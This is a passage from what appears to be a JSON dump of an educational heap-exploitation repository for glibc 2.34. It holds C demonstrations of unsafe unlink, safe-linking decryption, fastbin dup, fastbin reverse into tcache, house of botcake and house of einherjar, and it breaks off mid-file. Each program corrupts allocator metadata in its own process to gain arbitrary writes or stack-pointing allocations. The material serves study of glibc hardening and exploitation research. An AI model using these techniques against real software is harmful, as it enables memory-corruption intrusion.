    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.34/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.34/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.34/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.34/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.34/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.34/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it 